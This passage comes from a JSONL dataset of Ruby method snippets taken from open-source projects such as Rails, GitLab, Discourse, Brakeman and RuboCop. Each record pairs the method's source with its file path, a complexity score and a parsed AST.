end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_version\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"clear\"]},{\"type\":\"ivasgn\",\"children\":[\"@current_version\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"value\"]}]}]},null]}]}","id":"368046a7-170b-4578-ad0e-96368eec5fd7"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/named_base.rb","start_line":138,"raw_source":"def application_name # :doc:\n          if defined?(Rails) && Rails.application\n            Rails.application.class.name.split(\"::\").first.underscore\n          else\n            \"application\"\n          end\n        end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"application_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"class\"]},\"name\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"first\"]},\"underscore\"]},{\"type\":\"str\",\"children\":[\"application\"]}]}]}","id":"6561885f-4de6-493d-a0c8-723e851e542f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/envelope_encryption_key_provider.rb","start_line":26,"raw_source":"def decryption_keys(encrypted_message)\n        secret = decrypt_data_key(encrypted_message)\n        secret ? [ActiveRecord::Encryption::Key.new(secret)] : []\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"decryption_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encrypted_message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"secret\",{\"type\":\"send\",\"children\":[null,\"decrypt_data_key\",{\"type\":\"lvar\",\"children\":[\"encrypted_message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"Key\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"secret\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}]}","id":"392192ba-c527-42f7-b55c-07f1d1ed54e8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/active_metrics/connection_adapters/hawkular_metrics_adapter.rb","start_line":6,"raw_source":"def self.create_connection(config)\n        db       = config[:database]\n        hostname = config[:hostname] || \"localhost\"\n        port     = (config[:port] || 8080).to_i\n\n        require 'hawkular/hawkular_client'\n        Hawkular::Metrics::Client.new(\n          URI::HTTP.build(:host => hostname, :port => port).to_s,\n          config.slice(:username, :password),\n          :tenant => db\n        )\n      end","complexity_score":15.73,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"database\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\"localhost\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},{\"type\":\"int\",\"children\":[8080]}]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"hawkular/hawkular_client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hawkular\"]},\"Metrics\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"HTTP\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tenant\"]},{\"type\":\"lvar\",\"children\":[\"db\"]}]}]}]}]}]}","id":"69687588-b0e6-4289-a385-772a5ea6a4e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":1637,"raw_source":"def internal_pipeline?\n      source != \"external\"\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"internal_pipeline?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"!=\",{\"type\":\"str\",\"children\":[\"external\"]}]}]}","id":"256dd5f0-47f8-49d4-b0f6-dc8bacbc2ba2"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/telligent.rb","start_line":293,"raw_source":"def map_forum_ids(category_id, forum_ids)\n    return if forum_ids.blank?\n\n    forum_ids.each do |id|\n      url = \"f/#{id}\"\n      Permalink.create(url: url, category_id: category_id) unless Permalink.exists?(url: url)\n      add_category(id, Category.find_by_id(category_id))\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"map_forum_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category_id\"]},{\"type\":\"arg\",\"children\":[\"forum_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forum_ids\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forum_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"f/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_category\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]}]}]}]}]}","id":"94546036-a068-4f83-acc4-dcee320080cc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/tasks/ci_secure_files.rb","start_line":16,"raw_source":"def local\n            Gitlab::Backup::Cli::Targets::Files.new(context, storage_path, excludes: ['tmp'])\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"local\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Targets\"]},\"Files\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"context\"]},{\"type\":\"send\",\"children\":[null,\"storage_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excludes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tmp\"]}]}]}]}]}]}","id":"d93a86a8-a0b4-4e97-a707-e421a67c50b5"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/messages.rb","start_line":88,"raw_source":"def to_html\n    require 'cgi/escape'\n\n    output = @parts.map(&:to_html).join\n\n    case @parts.first\n    when Brakeman::Messages::Code, Brakeman::Messages::Literal, Brakeman::Messages::Version\n    else\n      output[0] = output[0].capitalize\n    end\n\n    output\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"cgi/escape\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_html\"]}]}]},\"join\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parts\"]},\"first\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Messages\"]},\"Code\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Messages\"]},\"Literal\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Messages\"]},\"Version\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"capitalize\"]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}","id":"4345123d-6499-4d43-8575-6b2a0fe20ccc"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/supply/lib/supply/client.rb","start_line":591,"raw_source":"def clear_screenshots(image_type: nil, language: nil)\n      ensure_active_edit!\n\n      call_google_api do\n        client.deleteall_edit_image(\n          current_package_name,\n          current_edit.id,\n          language,\n          image_type\n        )\n      end\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_screenshots\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"image_type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"language\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_active_edit!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_google_api\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"deleteall_edit_image\",{\"type\":\"send\",\"children\":[null,\"current_package_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_edit\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"language\"]},{\"type\":\"lvar\",\"children\":[\"image_type\"]}]}]}]}]}","id":"352a953f-ec9f-44ce-8275-80ccd7783ddb"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/report_hash.rb","start_line":3,"raw_source":"def generate_report\n    report = { :errors => tracker.errors,\n               :controllers => tracker.controllers,\n               :models => tracker.models,\n               :templates => tracker.templates\n              }\n\n    [:generic_warnings, :controller_warnings, :model_warnings, :template_warnings].each do |meth|\n      report[meth] = self.send(meth)\n      report[meth].each do |w|\n        w.message = w.format_message\n        w.context = context_for(w).join(\"\\n\")\n      end\n    end\n\n    report[:config] = tracker.config\n    report[:checks_run] = tracker.checks.checks_run\n\n    report\n  end","complexity_score":35.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"errors\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controllers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"controllers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"models\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"models\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"templates\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"templates\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"generic_warnings\"]},{\"type\":\"sym\",\"children\":[\"controller_warnings\"]},{\"type\":\"sym\",\"children\":[\"model_warnings\"]},{\"type\":\"sym\",\"children\":[\"template_warnings\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"meth\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"meth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"lvar\",\"children\":[\"meth\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"meth\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"message=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"format_message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"context=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context_for\",{\"type\":\"lvar\",\"children\":[\"w\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"checks_run\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"checks\"]},\"checks_run\"]}]},{\"type\":\"lvar\",\"children\":[\"report\"]}]}]}","id":"fa34fe84-e759-4661-8988-370325b3b29b"}
{"repo_name":"aasm","file_path":"./repos/aasm/spec/models/complex_example.rb","start_line":60,"raw_source":"def do_activate\n    @activated_at = Time.now\n    @activation_code = nil\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"do_activate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@activated_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@activation_code\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"6eb6e3a0-874c-4a7d-845d-aaa4b1451957"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/endpoints/index.rb","start_line":34,"raw_source":"def initialize(model:,\n                         api_name: model.name.demodulize,\n                         scope: nil,\n                         render_representer: nil,\n                         self_path: api_name.underscore.pluralize)\n            super(model:, api_name:, scope:, render_representer:)\n\n            self.self_path = self_path\n          end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"model\"]},{\"type\":\"kwoptarg\",\"children\":[\"api_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]},\"demodulize\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"scope\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"render_representer\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"self_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_name\"]},\"underscore\"]},\"pluralize\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_name\"]},{\"type\":\"lvar\",\"children\":[\"api_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"render_representer\"]},{\"type\":\"lvar\",\"children\":[\"render_representer\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"self_path=\",{\"type\":\"lvar\",\"children\":[\"self_path\"]}]}]}]}","id":"49fbcd45-cf20-4fae-ab22-9ba8b9117de5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/op_turbo/frame_component.rb","start_line":43,"raw_source":"def optional_custom_id\n      return if options[:id].blank?\n\n      options.values_at(:context, :id).compact.join(\"_\")\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"optional_custom_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"values_at\",{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]}]}]}","id":"e5784f92-60a0-409c-a0d8-ff79206045c8"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/webhooks/instagram_controller.rb","start_line":4,"raw_source":"def events\n    Rails.logger.info('Instagram webhook received events')\n    if params['object'].casecmp('instagram').zero?\n      entry_params = params.to_unsafe_hash[:entry]\n\n      if contains_echo_event?(entry_params)\n        # Add delay to prevent race condition where echo arrives before send message API completes\n        # This avoids duplicate messages when echo comes early during API processing\n        ::Webhooks::InstagramEventsJob.set(wait: 2.seconds).perform_later(entry_params)\n      else\n        ::Webhooks::InstagramEventsJob.perform_later(entry_params)\n      end\n\n      render json: :ok\n    else\n      Rails.logger.warn(\"Message is not received from the instagram webhook event: #{params['object']}\")\n      head :unprocessable_entity\n    end\n  end","complexity_score":30.48,"ast_json":"{\"type\":\"def\",\"children\":[\"events\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Instagram webhook received events\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"object\"]}]},\"casecmp\",{\"type\":\"str\",\"children\":[\"instagram\"]}]},\"zero?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"entry_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"to_unsafe_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entry\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contains_echo_event?\",{\"type\":\"lvar\",\"children\":[\"entry_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Webhooks\"]},\"InstagramEventsJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"seconds\"]}]}]}]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"entry_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Webhooks\"]},\"InstagramEventsJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"entry_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Message is not received from the instagram webhook event: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"object\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}","id":"b7aff598-b6d1-494c-ad83-d2699101b0e7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1346,"raw_source":"def suspend_record\n    UserHistory.for(self, :suspend_user).order(\"id DESC\").first\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"suspend_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"for\",{\"type\":\"self\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"suspend_user\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"id DESC\"]}]},\"first\"]}]}","id":"d447a595-ead8-400b-b008-12333555d119"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation.rb","start_line":18,"raw_source":"def add_column_options!(sql, options)\n            if options[:collation]\n              sql << \" COLLATE \\\"#{options[:collation]}\\\"\"\n            end\n\n            if as = options[:as]\n              sql << \" GENERATED ALWAYS AS (#{as})\"\n\n              if options[:stored]\n                sql << \" STORED\"\n              else\n                sql << \" VIRTUAL\"\n              end\n            end\n            super\n          end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_column_options!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"collation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" COLLATE \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"collation\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"as\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"as\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" GENERATED ALWAYS AS (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"as\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stored\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"str\",\"children\":[\" STORED\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"<<\",{\"type\":\"str\",\"children\":[\" VIRTUAL\"]}]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"1275b12d-3024-4a79-9827-d3a2c4faa7ed"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_inside_block_braces.rb","start_line":243,"raw_source":"def offense(begin_pos, end_pos, msg, style_param = 'EnforcedStyle')\n          return if begin_pos > end_pos\n\n          range = range_between(begin_pos, end_pos)\n          add_offense(range, message: msg) do |corrector|\n            case range.source\n            when /\\s/ then corrector.remove(range)\n            when '{}' then corrector.replace(range, '{ }')\n            when '{|' then corrector.replace(range, '{ |')\n            else           corrector.insert_before(range, ' ')\n            end\n            opposite_style_detected if style_param == 'EnforcedStyle'\n          end\n        